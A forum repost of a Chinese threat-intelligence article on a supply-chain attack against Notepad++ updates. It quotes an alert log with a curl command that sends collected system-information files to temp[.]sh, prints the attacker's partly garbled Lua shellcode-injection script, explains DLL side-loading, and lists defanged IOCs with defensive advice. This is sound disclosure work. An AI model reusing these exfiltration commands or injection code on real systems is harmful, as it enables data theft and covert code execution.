找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

3352

积分

0

好友

468

主题
发表于 昨天 22:21 | 查看: 1| 回复: 0

近日,广受开发者欢迎的文本编辑器 Notepad++ 遭遇了一起严重的供应链攻击事件。其官方维护人员证实,更新服务器遭到入侵,用户在进行软件更新时,流量被劫持至恶意服务器,从而下载并执行了后门程序。初步分析显示,此次攻击手法复杂,基础设施涉及多个恶意域名与 IP,具备高级持续性威胁(APT)攻击特征,疑似由国家级黑客组织发起。

事件概述:更新机制遭中间人劫持

根据官方披露,此次安全事件的根源并非 Notepad++ 软件本身的代码漏洞,而是其更新基础设施遭到了入侵。具体而言,攻击者通过某种方式(可能涉及托管服务提供商服务器的漏洞)控制了软件的更新分发渠道。问题的核心在于,Notepad++ 的更新客户端程序 gup.exe 在验证下载文件的完整性和真实性方面存在逻辑缺陷,未能有效实施代码签名验证或哈希校验。这使得攻击者能够通过中间人(MitM)攻击,在用户客户端与官方更新服务器之间进行流量劫持与替换,最终欺骗用户安装恶意的“更新”程序。

攻击链与恶意行为分析

安全研究人员目前共发现了三条关联的攻击链,展现了攻击者多样化的入侵与持久化手段。

第一条攻击链源于恶意 IP 地址 45.76.155.202。一位受害用户在 Notepad++ 官方论坛提交的安全警报日志,清晰地揭示了攻击的执行流程。日志显示,攻击始于用户运行 Notepad++ 后触发的自动更新。

相关的安全警报日志内容如下:

soft-parsley Submission for any help regarding a finding that came through AutoUpdater?
Malicious command seen: curl.exe -f “file=@a.txt” -s `https://temp[.]sh/upload`
This activity appears to be maliciously exfiltrating data in “a.txt” to malicious domain “https://temp[.]sh/upload”.
The activity appears to have started from notepad++.exe
This then spawned the command: “C:\\Program Files\\Notepad++\\updater\\gup.exe” -v8.84 -px64
Which spawned: “C:\\Users\\[User]\\AppData\\Local\\Temp\\AutoUpdater.exe” /closeRunningMpp /runMppAfterSilentInstall
The hash for “AutoUpdater.exe” is unknown.
Other commands seen:
cmd /c netstat -ano >> a.txt
cmd /c systeminfo >> a.txt
cmd /c tasklist >> a.txt
cmd /c whoami >> a.txt

从日志可以还原攻击步骤:

  1. 合法的 notepad++.exe 进程启动了更新程序 gup.exe
  2. gup.exe 从恶意服务器下载并执行了名为 AutoUpdater.exe 的恶意程序。
  3. AutoUpdater.exe 在系统中执行了一系列信息收集命令,包括网络连接状态(netstat)、系统信息(systeminfo)、进程列表(tasklist)和当前用户(whoami),并将结果输出到 a.txt 文件。
  4. 最后,使用 curl.exe 将窃取的 a.txt 文件外传至攻击者控制的域名 temp[.]sh

这种通过劫持合法软件更新通道进行恶意代码分发和数据窃取的行为,是典型的供应链攻击模式。

第二条攻击链同样源自 http://45.76.155.202/update/update.exe。此次的恶意程序在执行后,会在 %APPDATA%\Adobe\Scripts 目录下释放四个文件:alien.dlllua5.1.dllscript.exealien.ini。其中,alien.ini 文件是关键,它实际上是一个经过伪装的 Lua 脚本,用于执行内存中的 Shellcode 注入。

该 Lua 脚本的核心代码如下:

package .cpath = “. /..d11”
core = core.load(“alien.core”)
k32 = require(“Kern”).load(“Use”).“x32”
u32 = core.load(“Use”).load(“Use”).“x32”
len = string.len(ssc)
va = k32.VirtualAlloc
v1 = k32.VirtLock
rmm = k32.RtlMoveMemory
es = u32.EnumWindowStationsW
va:types({ret = “int”, abi = “stdcall”, “int”, “int”, “int”})
rmm:types({ret = “int”, abi = “stdcall”, “int”, “string”, “int”})
es:types({ret = “int”, abi = “stdcall”, “int”, “int”, “int”})
ptr(va(0, len, 12288, 64)
rmm(ptr, len, ssc, len)
es(ptr, 0)

这是一个典型的进程内 Shellcode 注入与执行流程,可分为5个步骤:

  1. 加载 API:脚本首先尝试加载 kernel32 和 user32 动态库,并获取关键的内存操作与回调函数地址,如 VirtualAllocRtlMoveMemoryEnumWindowStationsW
  2. 分配内存:调用 VirtualAlloc(0, len, 0x3000, 0x40) 函数,在进程地址空间中分配一块具有可执行权限的内存区域。
  3. 锁住内存:调用 VirtualLock(ptr, len) 将分配的内存页面锁定在物理内存中,防止其被交换到磁盘,确保 Shellcode 执行的稳定性。
  4. 写入代码:调用 RtlMoveMemory(ptr, ssc, len),将解密或来自外部的 Shellcode 写入到刚刚分配的可执行内存中。
  5. 执行代码:通过调用 EnumWindowStationsW(ptr, 0) 函数,并将 Shellcode 的入口地址作为回调函数指针传入,利用 Windows 系统的回调机制触发执行内存中的恶意代码。

第三条攻击链源自另一个恶意 IP http://45.32.144.255/update/update.exe。这次的载荷有所不同,不再直接外传系统信息,而是在 %appdata%\Bluetooth\ 目录下释放三个文件:BluetoothService.exelog.dllBluetoothService。其中 BluetoothService.exe 是一个合法的可执行程序,log.dll 是恶意的动态链接库,而 BluetoothService 是一个经过加密的 Shellcode 文件。这种攻击依赖于 DLL 侧加载技术:当合法的 BluetoothService.exe 启动时,它会尝试加载同一目录下的 log.dll。恶意的 log.dll 被加载后,会负责解密并执行 BluetoothService 文件中的 Shellcode,从而实现权限维持。

攻击者基础设施与战术分析

攻击者使用了多个服务器和域名来支撑整个攻击活动。其战术、技术与程序(TTPs)显示出高度的组织性和规避意识,例如使用 temp[.]sh 这种临时文件分享服务进行数据外传,以及通过 DLL 侧加载、内存中执行 Shellcode 等方式规避传统基于文件的检测。

完整的威胁指标(IOC)

以下为安全研究人员收集到的与此次攻击活动相关的所有基础设施信息,建议企业安全运维与威胁情报团队将其加入监控和阻断列表。

1. 用于分发恶意 Notepad++ 更新程序的 URL:

  • http://45.76.155[.]202/update/update.exe
  • http://45.32.144[.]255/update/update.exe
  • http://95.179.213[.]0/update/update.exe
  • http://95.179.213[.]0/update/install.exe
  • http://95.179.213[.]0/update/AutoUpdater.exe

2. 系统信息上传 URL:

  • http://45.76.155[.]202/list
  • https://self-dns.it[.]com/list

3. 用于部署 Cobalt Strike 信标的 Metasploit 下载器 URL:

  • https://45.77.31[.]210/users/admin
  • https://cdncheck.it[.]com/users/admin
  • https://safe-dns.it[.]com/help/Get-Start

4. 恶意更新程序最终传递的 Cobalt Strike 信标使用的 C2 URL:

  • https://45.77.31[.]210/api/update/v1
  • https://45.77.31[.]210/api/FileUpload/submit
  • https://cdncheck.it[.]com/api/update/v1
  • https://cdncheck.it[.]com/api/Metadata/submit
  • https://cdncheck.it[.]com/api/getInfo/v1
  • https://cdncheck.it[.]com/api/FileUpload/submit
  • https://safe-dns.it[.]com/resolve
  • https://safe-dns.it[.]com/dns-query

5. 其他相关 URL:

  • https://api.skycloudcenter[.]com/a/chat/s/70521ddf-a2ef-4adf-9cf0-6d8e24aaa821
  • https://api.wiresguard[.]com/update/v1
  • https://api.wiresguard[.]com/api/FileUpload/submit
  • http://59.110.7[.]32:8880/uffhxpSy
  • http://59.110.7[.]32:8880/api/getBasicInfo/v1
  • http://59.110.7[.]32:8880/api/Metadata/submit
  • http://124.222.137[.]114:9999/3yZR31VK
  • http://124.222.137[.]114:9999/api/updateStatus/v1
  • http://124.222.137[.]114:9999/api/Info/submit
  • https://api.wiresguard[.]com/users/system
  • https://api.wiresguard[.]com/api/getInfo/v1

总结与防护建议

Notepad++ 此次遭遇的供应链攻击,再次为软件开发商和终端用户敲响了警钟。对于软件开发者而言,必须强化软件分发和更新机制的安全性,强制实施代码签名验证、使用 HTTPS 并校验下载文件的哈希值。对于企业和个人用户,建议采取以下措施:

  • 暂停自动更新:在官方发布明确的安全公告和修复版本前,暂时禁用 Notepad++ 或其他受影响软件的自动更新功能。
  • 手动验证更新:从官方网站 (notepad-plus-plus.org) 直接下载完整安装包进行覆盖安装,并核对数字签名。
  • 加强终端防护:部署具备行为检测和网络流量分析能力的终端安全产品,及时监控和阻断可疑进程链与对外连接。
  • 排查威胁指标:利用上述 IOC 列表,在内部网络中进行威胁狩猎,检查是否有主机已感染相关恶意软件。

软件供应链已成为高级攻击者的重点目标,确保从开发到分发的每一个环节的安全,是当下网络安全防御的关键一环。

参考资料

[1] 更新就被种马,Notepad++遭国家级黑客流量劫持, 微信公众号:mp.weixin.qq.com/s/JjBiSDh_sgLgSHQUSnq3vA

版权声明:本文由 云栈社区 整理发布,版权归原作者所有。




上一篇:掌握英语12种时态:技术写作与高效沟通的核心语法详解
下一篇:校园卡系统权限绕过漏洞挖掘:从403绕过到通杀400+学校
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-2-10 02:22 , Processed in 0.365114 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表